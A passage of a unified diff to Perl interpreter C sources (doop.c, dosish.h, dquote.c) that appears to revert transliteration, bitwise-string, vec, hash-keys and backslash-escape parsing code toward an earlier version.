tbl[c]) >= 0) { matches++; - d = uvchr_to_utf8(d, (UV)ch); + d = uvchr_to_utf8(d, ch); s += ulen; } else { /* No match -> copy */ @@ -103,25 +95,14 @@ S_do_trans_simple(pTHX_ SV * const sv) return matches; } - -/* Helper function for do_trans(). - * Handles non-utf8 cases(*) where search and replacement charlists are - * identical: so the string isn't modified, and only a count of modifiable - * chars is needed. - * Note that it doesn't handle /d or /s, since these modify the string - * even if the replacement list is empty. - * (*) i.e. where the search and replacement charlists are non-utf8. sv may - * or may not be utf8. - */ - -STATIC Size_t +STATIC I32 S_do_trans_count(pTHX_ SV * const sv) { STRLEN len; const U8 *s = (const U8*)SvPV_nomg_const(sv, len); const U8 * const send = s + len; - Size_t matches = 0; - const OPtrans_map * const tbl = (OPtrans_map*)cPVOP->op_pv; + I32 matches = 0; + const short * const tbl = (short*)cPVOP->op_pv; PERL_ARGS_ASSERT_DO_TRANS_COUNT; @@ -130,17 +111,17 @@ S_do_trans_count(pTHX_ SV * const sv) if (!SvUTF8(sv)) { while (s < send) { - if (tbl->map[*s++] >= 0) + if (tbl[*s++] >= 0) matches++; } } else { - const bool complement = cBOOL(PL_op->op_private & OPpTRANS_COMPLEMENT); + const I32 complement = PL_op->op_private & OPpTRANS_COMPLEMENT; while (s < send) { STRLEN ulen; const UV c = utf8n_to_uvchr(s, send - s, &ulen, UTF8_ALLOW_DEFAULT); if (c < 0x100) { - if (tbl->map[c] >= 0) + if (tbl[c] >= 0) matches++; } else if (complement) matches++; @@ -151,22 +132,14 @@ S_do_trans_count(pTHX_ SV * const sv) return matches; } - -/* Helper function for do_trans(). - * Handles non-utf8 cases(*) involving the /c, /d, /s flags, - * and where search and replacement charlists aren't identical. - * (*) i.e. where the search and replacement charlists are non-utf8. sv may - * or may not be utf8. - */ - -STATIC Size_t +STATIC I32 S_do_trans_complex(pTHX_ SV * const sv) { STRLEN len; U8 *s = (U8*)SvPV_nomg(sv, len); U8 * const send = s+len; - Size_t matches = 0; - const OPtrans_map * const tbl = (OPtrans_map*)cPVOP->op_pv; + I32 matches = 0; + const short * const tbl = (short*)cPVOP->op_pv; PERL_ARGS_ASSERT_DO_TRANS_COMPLEX; @@ -180,7 +153,7 @@ S_do_trans_complex(pTHX_ SV * const sv) if (PL_op->op_private & OPpTRANS_SQUASH) { const U8* p = send; while (s < send) { - const short ch = tbl->map[*s]; + const I32 ch = tbl[*s]; if (ch >= 0) { *d = (U8)ch; matches++; @@ -196,7 +169,7 @@ S_do_trans_complex(pTHX_ SV * const sv) } else { while (s < send) { - const short ch = tbl->map[*s]; + const I32 ch = tbl[*s]; if (ch >= 0) { matches++; *d++ = (U8)ch; @@ -212,55 +185,102 @@ S_do_trans_complex(pTHX_ SV * const sv) SvCUR_set(sv, d - dstart); } else { /* is utf8 */ - const bool squash = cBOOL(PL_op->op_private & OPpTRANS_SQUASH); - const bool grows = cBOOL(PL_op->op_private & OPpTRANS_GROWS); + const I32 complement = PL_op->op_private & OPpTRANS_COMPLEMENT; + const I32 grows = PL_op->op_private & OPpTRANS_GROWS; + const I32 del = PL_op->op_private & OPpTRANS_DELETE; U8 *d; U8 *dstart; - Size_t size = tbl->size; - UV pch = 0xfeedface; + STRLEN rlen = 0; if (grows) Newx(d, len*2+1, U8); else d = s; dstart = d; + if (complement && !del) + rlen = tbl[0x100]; - while (s < send) { - STRLEN len; - const UV comp = utf8n_to_uvchr(s, send - s, &len, - UTF8_ALLOW_DEFAULT); - UV ch; - short sch; - - sch = tbl->map[comp >= size ? size : comp]; - - if (sch >= 0) { - ch = (UV)sch; - replace: - matches++; - if (LIKELY(!squash || ch != pch)) { - d = uvchr_to_utf8(d, ch); - pch = ch; - } - s += len; - continue; - } - else if (sch == -1) { /* -1 is unmapped character */ - Move(s, d, len, U8); - d += len; - } - else if (sch == -2) /* -2 is delete character */ - matches++; - else { - assert(sch == -3); /* -3 is empty replacement */ - ch = comp; - goto replace; - } - - s += len; - pch = 0xfeedface; - } + if (PL_op->op_private & OPpTRANS_SQUASH) { + UV pch = 0xfeedface; + while (s < send) { + STRLEN len; + const UV comp = utf8n_to_uvchr(s, send - s, &len, + UTF8_ALLOW_DEFAULT); + I32 ch; + if (comp > 0xff) { + if (!complement) { + Move(s, d, len, U8); + d += len; + } + else { + matches++; + if (!del) { + ch = (rlen == 0) ? (I32)comp : + (comp - 0x100 < rlen) ? + tbl[comp+1] : tbl[0x100+rlen]; + if ((UV)ch != pch) { + d = uvchr_to_utf8(d, ch); + pch = (UV)ch; + } + s += len; + continue; + } + } + } + else if ((ch = tbl[comp]) >= 0) { + matches++; + if ((UV)ch != pch) { + d = uvchr_to_utf8(d, ch); + pch = (UV)ch; + } + s += len; + continue; + } + else if (ch == -1) { /* -1 is unmapped character */ + Move(s, d, len, U8); + d += len; + } + else if (ch == -2) /* -2 is delete character */ + matches++; + s += len; + pch = 0xfeedface; + } + } + else { + while (s < send) { + STRLEN len; + const UV comp = utf8n_to_uvchr(s, send - s, &len, + UTF8_ALLOW_DEFAULT); + I32 ch; + if (comp > 0xff) { + if (!complement) { + Move(s, d, len, U8); + d += len; + } + else { + matches++; + if (!del) { + if (comp - 0x100 < rlen) + d = uvchr_to_utf8(d, tbl[comp+1]); + else + d = uvchr_to_utf8(d, tbl[0x100+rlen]); + } + } + } + else if ((ch = tbl[comp]) >= 0) { + d = uvchr_to_utf8(d, ch); + matches++; + } + else if (ch == -1) { /* -1 is unmapped character */ + Move(s, d, len, U8); + d += len; + } + else if (ch == -2) /* -2 is delete character */ + matches++; + s += len; + } + } if (grows) { sv_setpvn(sv, (char*)dstart, d - dstart); Safefree(dstart); @@ -275,15 +295,7 @@ S_do_trans_complex(pTHX_ SV * const sv) return matches; } - -/* Helper function for do_trans(). - * Handles utf8 cases(*) not involving the /c, /d, /s flags, - * and where search and replacement charlists aren't identical. - * (*) i.e. where the search or replacement charlists are utf8. sv may - * or may not be utf8. - */ - -STATIC Size_t +STATIC I32 S_do_trans_simple_utf8(pTHX_ SV * const sv) { U8 *s; @@ -291,8 +303,8 @@ S_do_trans_simple_utf8(pTHX_ SV * const sv) U8 *d; U8 *start; U8 *dstart, *dend; - Size_t matches = 0; - const bool grows = cBOOL(PL_op->op_private & OPpTRANS_GROWS); + I32 matches = 0; + const I32 grows = PL_op->op_private & OPpTRANS_GROWS; STRLEN len; SV* const rv = #ifdef USE_ITHREADS @@ -311,9 +323,15 @@ S_do_trans_simple_utf8(pTHX_ SV * const sv) s = (U8*)SvPV_nomg(sv, len); if (!SvUTF8(sv)) { - hibit = ! is_utf8_invariant_string(s, len); - if (hibit) { - s = bytes_to_utf8(s, &len); + const U8 *t = s; + const U8 * const e = s + len; + while (t < e) { + const U8 ch = *t++; + hibit = !NATIVE_BYTE_IS_INVARIANT(ch); + if (hibit) { + s = bytes_to_utf8(s, &len); + break; + } } } send = s + len; @@ -381,24 +399,13 @@ S_do_trans_simple_utf8(pTHX_ SV * const sv) return matches; } - -/* Helper function for do_trans(). - * Handles utf8 cases(*) where search and replacement charlists are - * identical: so the string isn't modified, and only a count of modifiable - * chars is needed. - * Note that it doesn't handle /d or /s, since these modify the string - * even if the replacement charlist is empty. - * (*) i.e. where the search or replacement charlists are utf8. sv may - * or may not be utf8. - */ - -STATIC Size_t +STATIC I32 S_do_trans_count_utf8(pTHX_ SV * const sv) { const U8 *s; const U8 *start = NULL; const U8 *send; - Size_t matches = 0; + I32 matches = 0; STRLEN len; SV* const rv = #ifdef USE_ITHREADS @@ -416,9 +423,15 @@ S_do_trans_count_utf8(pTHX_ SV * const sv) s = (const U8*)SvPV_nomg_const(sv, len); if (!SvUTF8(sv)) { - hibit = ! is_utf8_invariant_string(s, len); - if (hibit) { - start = s = bytes_to_utf8(s, &len); + const U8 *t = s; + const U8 * const e = s + len; + while (t < e) { + const U8 ch = *t++; + hibit = !NATIVE_BYTE_IS_INVARIANT(ch); + if (hibit) { + start = s = bytes_to_utf8(s, &len); + break; + } } } send = s + len; @@ -435,23 +448,15 @@ S_do_trans_count_utf8(pTHX_ SV * const sv) return matches; } - -/* Helper function for do_trans(). - * Handles utf8 cases(*) involving the /c, /d, /s flags, - * and where search and replacement charlists aren't identical. - * (*) i.e. where the search or replacement charlists are utf8. sv may - * or may not be utf8. - */ - -STATIC Size_t +STATIC I32 S_do_trans_complex_utf8(pTHX_ SV * const sv) { U8 *start, *send; U8 *d; - Size_t matches = 0; - const bool squash = cBOOL(PL_op->op_private & OPpTRANS_SQUASH); - const bool del = cBOOL(PL_op->op_private & OPpTRANS_DELETE); - const bool grows = cBOOL(PL_op->op_private & OPpTRANS_GROWS); + I32 matches = 0; + const I32 squash = PL_op->op_private & OPpTRANS_SQUASH; + const I32 del = PL_op->op_private & OPpTRANS_DELETE; + const I32 grows = PL_op->op_private & OPpTRANS_GROWS; SV* const rv = #ifdef USE_ITHREADS PAD_SVl(cPADOP->op_padix); @@ -472,9 +477,15 @@ S_do_trans_complex_utf8(pTHX_ SV * const sv) PERL_ARGS_ASSERT_DO_TRANS_COMPLEX_UTF8; if (!SvUTF8(sv)) { - hibit = ! is_utf8_invariant_string(s, len); - if (hibit) { - s = bytes_to_utf8(s, &len); + const U8 *t = s; + const U8 * const e = s + len; + while (t < e) { + const U8 ch = *t++; + hibit = !NATIVE_BYTE_IS_INVARIANT(ch); + if (hibit) { + s = bytes_to_utf8(s, &len); + break; + } } } send = s + len; @@ -604,19 +615,12 @@ S_do_trans_complex_utf8(pTHX_ SV * const sv) return matches; } - -/* Execute a tr//. sv is the value to be translated, while PL_op - * should be an OP_TRANS or OP_TRANSR op, whose op_pv field contains a - * translation table or whose op_sv field contains a swash. - * Returns a count of number of characters translated - */ - -Size_t +I32 Perl_do_trans(pTHX_ SV *sv) { STRLEN len; - const U8 flags = PL_op->op_private; - const U8 hasutf = flags & (OPpTRANS_FROM_UTF | OPpTRANS_TO_UTF); + const I32 flags = PL_op->op_private; + const I32 hasutf = flags & (OPpTRANS_FROM_UTF | OPpTRANS_TO_UTF); PERL_ARGS_ASSERT_DO_TRANS; @@ -632,6 +636,8 @@ Perl_do_trans(pTHX_ SV *sv) (void)SvPOK_only_UTF8(sv); } + DEBUG_t( Perl_deb(aTHX_ "2.TBL\n")); + /* If we use only OPpTRANS_IDENTICAL to bypass the READONLY check, * we must also rely on it to choose the readonly strategy. */ @@ -711,14 +717,13 @@ Perl_do_join(pTHX_ SV *sv, SV *delim, SV **mark, SV **sp) } void -Perl_do_sprintf(pTHX_ SV *sv, SSize_t len, SV **sarg) +Perl_do_sprintf(pTHX_ SV *sv, I32 len, SV **sarg) { STRLEN patlen; const char * const pat = SvPV_const(*sarg, patlen); bool do_taint = FALSE; PERL_ARGS_ASSERT_DO_SPRINTF; - assert(len >= 1); if (SvTAINTED(*sarg)) TAINT_PROPER( @@ -731,7 +736,7 @@ Perl_do_sprintf(pTHX_ SV *sv, SSize_t len, SV **sarg) SvUTF8_off(sv); if (DO_UTF8(*sarg)) SvUTF8_on(sv); - sv_vsetpvfn(sv, pat, patlen, NULL, sarg + 1, (Size_t)(len - 1), &do_taint); + sv_vsetpvfn(sv, pat, patlen, NULL, sarg + 1, len - 1, &do_taint); SvSETMAGIC(sv); if (do_taint) SvTAINTED_on(sv); @@ -758,16 +763,9 @@ Perl_do_vecget(pTHX_ SV *sv, STRLEN offset, int size) Perl_croak(aTHX_ "Illegal number of bits in vec"); if (SvUTF8(sv)) { - if (Perl_sv_utf8_downgrade(aTHX_ sv, TRUE)) { - /* PVX may have changed */ - s = (unsigned char *) SvPV_flags(sv, srclen, svpv_flags); - } - else { - Perl_ck_warner_d(aTHX_ packWARN(WARN_DEPRECATED), - "Use of strings with code points over 0xFF as" - " arguments to vec is deprecated. This will" - " be a fatal error in Perl 5.32"); - } + (void) Perl_sv_utf8_downgrade(aTHX_ sv, TRUE); + /* PVX may have changed */ + s = (unsigned char *) SvPV_flags(sv, srclen, svpv_flags); } if (size < 8) { @@ -922,8 +920,8 @@ Perl_do_vecset(pTHX_ SV *sv) /* some out-of-range errors have been deferred if/until the LV is * actually written to: f(vec($s,-1,8)) is not always fatal */ if (errflags) { - assert(!(errflags & ~(LVf_NEG_OFF|LVf_OUT_OF_RANGE))); - if (errflags & LVf_NEG_OFF) + assert(!(errflags & ~(1|4))); + if (errflags & 1) Perl_croak_nocontext("Negative offset to vec in lvalue context"); Perl_croak_nocontext("Out of memory!"); } @@ -1018,116 +1016,66 @@ Perl_do_vop(pTHX_ I32 optype, SV *sv, SV *left, SV *right) STRLEN rightlen; const char *lc; const char *rc; - STRLEN len = 0; + STRLEN len; STRLEN lensave; const char *lsave; const char *rsave; + bool left_utf; + bool right_utf; + bool do_warn_above_ff = ckWARN_d(WARN_DEPRECATED); STRLEN needlen = 0; - bool result_needs_to_be_utf8 = FALSE; - bool left_utf8 = FALSE; - bool right_utf8 = FALSE; - U8 * left_non_downgraded = NULL; - U8 * right_non_downgraded = NULL; - Size_t left_non_downgraded_len = 0; - Size_t right_non_downgraded_len = 0; - char * non_downgraded = NULL; - Size_t non_downgraded_len = 0; PERL_ARGS_ASSERT_DO_VOP; if (sv != left || (optype != OP_BIT_AND && !SvOK(sv))) SvPVCLEAR(sv); /* avoid undef warning on |= and ^= */ if (sv == left) { - lc = SvPV_force_nomg(left, leftlen); + lsave = lc = SvPV_force_nomg(left, leftlen); } else { - lc = SvPV_nomg_const(left, leftlen); + lsave = lc = SvPV_nomg_const(left, leftlen); SvPV_force_nomg_nolen(sv); } - rc = SvPV_nomg_const(right, rightlen); + rsave = rc = SvPV_nomg_const(right, rightlen); /* This needs to come after SvPV to ensure that string overloading has fired off. */ - /* Create downgraded temporaries of any UTF-8 encoded operands */ - if (DO_UTF8(left)) { - const U8 * save_lc = (U8 *) lc; - - left_utf8 = TRUE; - result_needs_to_be_utf8 = TRUE; - - left_non_downgraded_len = leftlen; - lc = (char *) bytes_from_utf8_loc((const U8 *) lc, &leftlen, - &left_utf8, - (const U8 **) &left_non_downgraded); - /* Calculate the number of trailing unconvertible bytes. This quantity - * is the original length minus the length of the converted portion. */ - left_non_downgraded_len -= left_non_downgraded - save_lc; - SAVEFREEPV(lc); - } - if (DO_UTF8(right)) { - const U8 * save_rc = (U8 *) rc; - - right_utf8 = TRUE; - result_needs_to_be_utf8 = TRUE; - - right_non_downgraded_len = rightlen; - rc = (char *) bytes_from_utf8_loc((const U8 *) rc, &rightlen, - &right_utf8, - (const U8 **) &right_non_downgraded); - right_non_downgraded_len -= right_non_downgraded - save_rc; - SAVEFREEPV(rc); - } - - /* We set 'len' to the length that the operation actually operates on. The - * dangling part of the longer operand doesn't actually participate in the - * operation. What happens is that we pretend that the shorter operand has - * been extended to the right by enough imaginary zeros to match the length - * of the longer one. But we know in advance the result of the operation - * on zeros without having to do it. In the case of '&', the result is - * zero, and the dangling portion is simply discarded. For '|' and '^', the - * result is the same as the other operand, so the dangling part is just - * appended to the final result, unchanged. We currently accept above-FF - * code points in the dangling portion, as that's how it has long worked, - * and code depends on it staying that way. But it is now fatal for - * above-FF to appear in the portion that does get operated on. Hence, any - * above-FF must come only in the longer operand, and only in its dangling - * portion. That means that at least one of the operands has to be - * entirely non-UTF-8, and the length of that operand has to be before the - * first above-FF in the other */ - if (left_utf8 || right_utf8) { - if (left_utf8) { - if (right_utf8 || rightlen > leftlen) { - Perl_croak(aTHX_ FATAL_ABOVE_FF_MSG, PL_op_desc[optype]); - } - len = rightlen; - } - else if (right_utf8) { - if (leftlen > rightlen) { - Perl_croak(aTHX_ FATAL_ABOVE_FF_MSG, PL_op_desc[optype]); - } - len = leftlen; - } - - Perl_ck_warner_d(aTHX_ packWARN(WARN_DEPRECATED), - DEPRECATED_ABOVE_FF_MSG, PL_op_desc[optype]); + left_utf = DO_UTF8(left); + right_utf = DO_UTF8(right); + + if (left_utf && !right_utf) { + /* Avoid triggering overloading again by using temporaries. + Maybe there should be a variant of sv_utf8_upgrade that takes pvn + */ + right = newSVpvn_flags(rsave, rightlen, SVs_TEMP); + sv_utf8_upgrade(right); + rsave = rc = SvPV_nomg_const(right, rightlen); + right_utf = TRUE; } - else { /* Neither is UTF-8 */ - len = MIN(leftlen, rightlen); + else if (!left_utf && right_utf) { + left = newSVpvn_flags(lsave, leftlen, SVs_TEMP); + sv_utf8_upgrade(left); + lsave = lc = SvPV_nomg_const(left, leftlen); + left_utf = TRUE; } + len = leftlen < rightlen ? leftlen : rightlen; lensave = len; - lsave = lc; - rsave = rc; - SvCUR_set(sv, len); (void)SvPOK_only(sv); - if (SvOK(sv) || SvTYPE(sv) > SVt_PVMG) { + if ((left_utf || right_utf) && (sv == left || sv == right)) { + needlen = optype == OP_BIT_AND ? len : leftlen + rightlen; + Newxz(dc, needlen + 1, char); + } + else if (SvOK(sv) || SvTYPE(sv) > SVt_PVMG) { dc = SvPV_force_nomg_nolen(sv); if (SvLEN(sv) < len + 1) { dc = SvGROW(sv, len + 1); (void)memzero(dc + SvCUR(sv), len - SvCUR(sv) + 1); } + if (optype != OP_BIT_AND && (left_utf || right_utf)) + dc = SvGROW(sv, leftlen + rightlen + 1); } else { needlen = optype == OP_BIT_AND @@ -1136,7 +1084,100 @@ Perl_do_vop(pTHX_ I32 optype, SV *sv, SV *left, SV *right) sv_usepvn_flags(sv, dc, needlen, SV_HAS_TRAILING_NUL); dc = SvPVX(sv); /* sv_usepvn() calls Renew() */ } + if (left_utf || right_utf) { + char *dcorig = dc; + char *dcsave = NULL; + STRLEN lulen = leftlen; + STRLEN rulen = rightlen; + switch (optype) { + case OP_BIT_AND: + while (lulen && rulen) { + UV duc, luc, ruc; + STRLEN ulen; + luc = utf8n_to_uvchr((U8*)lc, lulen, &ulen, UTF8_ALLOW_ANYUV); + lc += ulen; + lulen -= ulen; + ruc = utf8n_to_uvchr((U8*)rc, rulen, &ulen, UTF8_ALLOW_ANYUV); + rc += ulen; + rulen -= ulen; + duc = luc & ruc; + dc = (char*)uvchr_to_utf8((U8*)dc, duc); + if (do_warn_above_ff && (luc > 0xff || ruc > 0xff)) { + Perl_warner(aTHX_ packWARN(WARN_DEPRECATED), + deprecated_above_ff_msg, PL_op_desc[optype]); + /* Warn only once per operation */ + do_warn_above_ff = FALSE; + } + } + if (sv == left || sv == right) + (void)sv_usepvn(sv, dcorig, needlen); + SvCUR_set(sv, dc - dcorig); + *SvEND(sv) = 0; + break; + case OP_BIT_XOR: + while (lulen && rulen) { + UV duc, luc, ruc; + STRLEN ulen; + luc = utf8n_to_uvchr((U8*)lc, lulen, &ulen, UTF8_ALLOW_ANYUV); + lc += ulen; + lulen -= ulen; + ruc = utf8n_to_uvchr((U8*)rc, rulen, &ulen, UTF8_ALLOW_ANYUV); + rc += ulen; + rulen -= ulen; + duc = luc ^ ruc; + dc = (char*)uvchr_to_utf8((U8*)dc, duc); + if (do_warn_above_ff && (luc > 0xff || ruc > 0xff)) { + Perl_warner(aTHX_ packWARN(WARN_DEPRECATED), + deprecated_above_ff_msg, PL_op_desc[optype]); + do_warn_above_ff = FALSE; + } + } + goto mop_up_utf; + case OP_BIT_OR: + while (lulen && rulen) { + UV duc, luc, ruc; + STRLEN ulen; + luc = utf8n_to_uvchr((U8*)lc, lulen, &ulen, UTF8_ALLOW_ANYUV); + lc += ulen; + lulen -= ulen; + ruc = utf8n_to_uvchr((U8*)rc, rulen, &ulen, UTF8_ALLOW_ANYUV); + rc += ulen; + rulen -= ulen; + duc = luc | ruc; + dc = (char*)uvchr_to_utf8((U8*)dc, duc); + if (do_warn_above_ff && (luc > 0xff || ruc > 0xff)) { + Perl_warner(aTHX_ packWARN(WARN_DEPRECATED), + deprecated_above_ff_msg, PL_op_desc[optype]); + do_warn_above_ff = FALSE; + } + } + mop_up_utf: + if (rulen) + dcsave = savepvn(rc, rulen); + else if (lulen) + dcsave = savepvn(lc, lulen); + if (sv == left || sv == right) + (void)sv_usepvn(sv, dcorig, needlen); /* uses Renew(); defaults to nomg */ + SvCUR_set(sv, dc - dcorig); + if (rulen) + sv_catpvn_nomg(sv, dcsave, rulen); + else if (lulen) + sv_catpvn_nomg(sv, dcsave, lulen); + else + *SvEND(sv) = '\0'; + Safefree(dcsave); + break; + default: + if (sv == left || sv == right) + Safefree(dcorig); + Perl_croak(aTHX_ "panic: do_vop called for op %u (%s)", + (unsigned)optype, PL_op_name[optype]); + } + SvUTF8_on(sv); + goto finish; + } + else #ifdef LIBERAL if (len >= sizeof(long)*4 && !((unsigned long)dc % sizeof(long)) && @@ -1183,95 +1224,62 @@ Perl_do_vop(pTHX_ I32 optype, SV *sv, SV *left, SV *right) len = remainder; } #endif - switch (optype) { - case OP_BIT_AND: - while (len--) - *dc++ = *lc++ & *rc++; - *dc = '\0'; - break; - case OP_BIT_XOR: - while (len--) - *dc++ = *lc++ ^ *rc++; - goto mop_up; - case OP_BIT_OR: - while (len--) - *dc++ = *lc++ | *rc++; - mop_up: - len = lensave; - if (rightlen > len) { - if (dc == rc) - SvCUR(sv) = rightlen; - else - sv_catpvn_nomg(sv, rsave + len, rightlen - len); - } - else if (leftlen > len) { - if (dc == lc) - SvCUR(sv) = leftlen; - else - sv_catpvn_nomg(sv, lsave + len, leftlen - len); - } - *SvEND(sv) = '\0'; - - /* If there is trailing stuff that couldn't be converted from UTF-8, it - * is appended as-is for the ^ and | operators. This preserves - * backwards compatibility */ - if (right_non_downgraded) { - non_downgraded = (char *) right_non_downgraded; - non_downgraded_len = right_non_downgraded_len; - } - else if (left_non_downgraded) { - non_downgraded = (char *) left_non_downgraded; - non_downgraded_len = left_non_downgraded_len; - } - - break; - } - - if (result_needs_to_be_utf8) { - sv_utf8_upgrade_nomg(sv); + { + switch (optype) { + case OP_BIT_AND: + while (len--) + *dc++ = *lc++ & *rc++; + *dc = '\0'; + break; + case OP_BIT_XOR: + while (len--) + *dc++ = *lc++ ^ *rc++; + goto mop_up; + case OP_BIT_OR: + while (len--) + *dc++ = *lc++ | *rc++; + mop_up: + len = lensave; + if (rightlen > len) { + if (dc == rc) + SvCUR(sv) = rightlen; + else + sv_catpvn_nomg(sv, rsave + len, rightlen - len); + } + else if (leftlen > len) { + if (dc == lc) + SvCUR(sv) = leftlen; + else + sv_catpvn_nomg(sv, lsave + len, leftlen - len); + } + *SvEND(sv) = '\0'; - /* Append any trailing UTF-8 as-is. */ - if (non_downgraded) { - sv_catpvn_nomg(sv, non_downgraded, non_downgraded_len); - } + break; + } } - + finish: SvTAINT(sv); } -/* Perl_do_kv() may be: - * * called directly as the pp function for pp_keys() and pp_values(); - * * It may also be called directly when the op is OP_AVHVSWITCH, to - * implement CORE::keys(), CORE::values(). - * - * In all cases it expects an HV on the stack and returns a list of keys, - * values, or key-value pairs, depending on PL_op. - */ +/* used for: pp_keys(), pp_values() */ OP * Perl_do_kv(pTHX) { dSP; HV * const keys = MUTABLE_HV(POPs); + HE *entry; + SSize_t extend_size; const U8 gimme = GIMME_V; - - const I32 dokeys = (PL_op->op_type == OP_KEYS) - || ( PL_op->op_type == OP_AVHVSWITCH - && (PL_op->op_private & OPpAVHVSWITCH_MASK) - + OP_EACH == OP_KEYS); - - const I32 dovalues = (PL_op->op_type == OP_VALUES) - || ( PL_op->op_type == OP_AVHVSWITCH - && (PL_op->op_private & OPpAVHVSWITCH_MASK) - + OP_EACH == OP_VALUES); - - assert( PL_op->op_type == OP_KEYS - || PL_op->op_type == OP_VALUES - || PL_op->op_type == OP_AVHVSWITCH); - - assert(!( PL_op->op_type == OP_VALUES - && (PL_op->op_private & OPpMAYBE_LVSUB))); + const I32 dokv = (PL_op->op_type == OP_RV2HV || PL_op->op_type == OP_PADHV); + /* op_type is OP_RKEYS/OP_RVALUES if pp_rkeys delegated to here */ + const I32 dokeys = dokv || (PL_op->op_type == OP_KEYS) + || ( PL_op->op_type == OP_AVHVSWITCH + && (PL_op->op_private & 3) + OP_EACH == OP_KEYS ); + const I32 dovalues = dokv || (PL_op->op_type == OP_VALUES) + || ( PL_op->op_type == OP_AVHVSWITCH + && (PL_op->op_private & 3) + OP_EACH == OP_VALUES ); (void)hv_iterinit(keys); /* always reset iterator regardless */ @@ -1290,11 +1298,6 @@ Perl_do_kv(pTHX) IV i; dTARGET; - /* note that in 'scalar(keys %h)' the OP_KEYS is usually - * optimised away and the action is performed directly by the - * padhv or rv2hv op. We now only get here via OP_AVHVSWITCH - * and \&CORE::keys - */ if (! SvTIED_mg((const SV *)keys, PERL_MAGIC_tied) ) { i = HvUSEDKEYS(keys); } @@ -1314,9 +1317,26 @@ Perl_do_kv(pTHX) Perl_croak(aTHX_ "Can't modify keys in list assignment"); } - PUTBACK; - hv_pushkv(keys, (dokeys | (dovalues << 1))); - return NORMAL; + /* 2*HvUSEDKEYS() should never be big enough to truncate or wrap */ + assert(HvUSEDKEYS(keys) <= (SSize_t_MAX >> 1)); + extend_size = (SSize_t)HvUSEDKEYS(keys) * (dokeys + dovalues); + EXTEND(SP, extend_size); + + while ((entry = hv_iternext(keys))) { + if (dokeys) { + SV* const sv = hv_iterkeysv(entry); + XPUSHs(sv); + } + if (dovalues) { + SV *tmpstr = hv_iterval(keys,entry); + DEBUG_H(Perl_sv_setpvf(aTHX_ tmpstr, "%lu%%%d=%lu", + (unsigned long)HeHASH(entry), + (int)HvMAX(keys)+1, + (unsigned long)(HeHASH(entry) & HvMAX(keys)))); + XPUSHs(tmpstr); + } + } + RETURN; } /* diff --git a/dosish.h b/dosish.h index 16ee9b735957..1dc932260a58 100644 --- a/dosish.h +++ b/dosish.h @@ -32,26 +32,29 @@ # define PERL_FS_VERSION STRINGIFY(PERL_REVISION) "_" \ STRINGIFY(PERL_VERSION) "_" \ STRINGIFY(PERL_SUBVERSION) -#elif defined(WIN32) -# define PERL_SYS_INIT_BODY(c,v) \ - MALLOC_CHECK_TAINT2(*c,*v) Perl_win32_init(c,v); PERLIO_INIT -# define PERL_SYS_TERM_BODY() Perl_win32_term() -# define BIT_BUCKET "nul" -#elif defined(NETWARE) -# define PERL_SYS_INIT_BODY(c,v) \ - MALLOC_CHECK_TAINT2(*c,*v) Perl_nw5_init(c,v); PERLIO_INIT -# define BIT_BUCKET "nwnul" -#else -# define PERL_SYS_INIT_BODY(c,v) \ - MALLOC_CHECK_TAINT2(*c,*v); PERLIO_INIT -# define BIT_BUCKET "\\dev\\nul" /* "wanna be like, umm, Newlined, or somethin?" */ -#endif +#else /* DJGPP */ +# ifdef WIN32 +# define PERL_SYS_INIT_BODY(c,v) \ + MALLOC_CHECK_TAINT2(*c,*v) Perl_win32_init(c,v); PERLIO_INIT +# define PERL_SYS_TERM_BODY() Perl_win32_term() +# define BIT_BUCKET "nul" +# else +# ifdef NETWARE +# define PERL_SYS_INIT_BODY(c,v) \ + MALLOC_CHECK_TAINT2(*c,*v) Perl_nw5_init(c,v); PERLIO_INIT +# define BIT_BUCKET "nwnul" +# else +# define PERL_SYS_INIT_BODY(c,v) \ + MALLOC_CHECK_TAINT2(*c,*v); PERLIO_INIT +# define BIT_BUCKET "\\dev\\nul" /* "wanna be like, umm, Newlined, or somethin?" */ +# endif /* NETWARE */ +# endif +#endif /* DJGPP */ #ifndef PERL_SYS_TERM_BODY -# define PERL_SYS_TERM_BODY() \ - HINTS_REFCNT_TERM; KEYWORD_PLUGIN_MUTEX_TERM; \ - OP_CHECK_MUTEX_TERM; OP_REFCNT_TERM; PERLIO_TERM; \ - MALLOC_TERM; LOCALE_TERM; +# define PERL_SYS_TERM_BODY() \ + HINTS_REFCNT_TERM; OP_CHECK_MUTEX_TERM; \ + OP_REFCNT_TERM; PERLIO_TERM; MALLOC_TERM; LOCALE_TERM; #endif #define dXSUB_SYS dNOOP @@ -70,11 +73,13 @@ * information. */ #if defined(WIN64) || defined(USE_LARGE_FILES) -# define Stat_t struct _stati64 -#elif defined(UNDER_CE) -# define Stat_t struct xcestat +#define Stat_t struct _stati64 #else -# define Stat_t struct stat +#if defined(UNDER_CE) +#define Stat_t struct xcestat +#else +#define Stat_t struct stat +#endif #endif /* USE_STAT_RDEV: diff --git a/dquote.c b/dquote.c index 6913ca5ce48f..e02308e7ac70 100644 --- a/dquote.c +++ b/dquote.c @@ -56,8 +56,7 @@ Perl_grok_bslash_c(pTHX_ const char source, const bool output_warning) } bool -Perl_grok_bslash_o(pTHX_ char **s, const char * const send, UV *uv, - const char** error_msg, +Perl_grok_bslash_o(pTHX_ char **s, UV *uv, const char** error_msg, const bool output_warning, const bool strict, const bool silence_non_portable, const bool UTF) @@ -69,16 +68,13 @@ Perl_grok_bslash_o(pTHX_ char **s, const char * const send, UV *uv, * It guarantees that the returned codepoint, *uv, when expressed as * utf8 bytes, would fit within the skipped "\o{...}" bytes. * On input: - * s is the address of a pointer to a string. **s is 'o', and the - * previous character was a backslash. At exit, *s will be advanced - * to the byte just after those absorbed by this function. Hence the - * caller can continue parsing from there. In the case of an error, - * this routine has generally positioned *s to point just to the right - * of the first bad spot, so that a message that has a "<--" to mark - * the spot will be correctly positioned. - * send - 1 gives a limit in *s that this function is not permitted to - * look beyond. That is, the function may look at bytes only in the - * range *s..send-1 + * s is the address of a pointer to a NULL terminated string that begins + * with 'o', and the previous character was a backslash. At exit, *s + * will be advanced to the byte just after those absorbed by this + * function. Hence the caller can continue parsing from there. In + * the case of an error, this routine has generally positioned *s to + * point just to the right of the first bad spot, so that a message + * that has a "<--" to mark the spot will be correctly positioned. * uv points to a UV that will hold the output value, valid only if the * return from the function is TRUE * error_msg is a pointer that will be set to an internal buffer giving an @@ -100,10 +96,15 @@ Perl_grok_bslash_o(pTHX_ char **s, const char * const send, UV *uv, * ourselves */ | PERL_SCAN_SILENT_ILLDIGIT; +#ifdef DEBUGGING + char *start = *s - 1; + assert(*start == '\\'); +#endif + 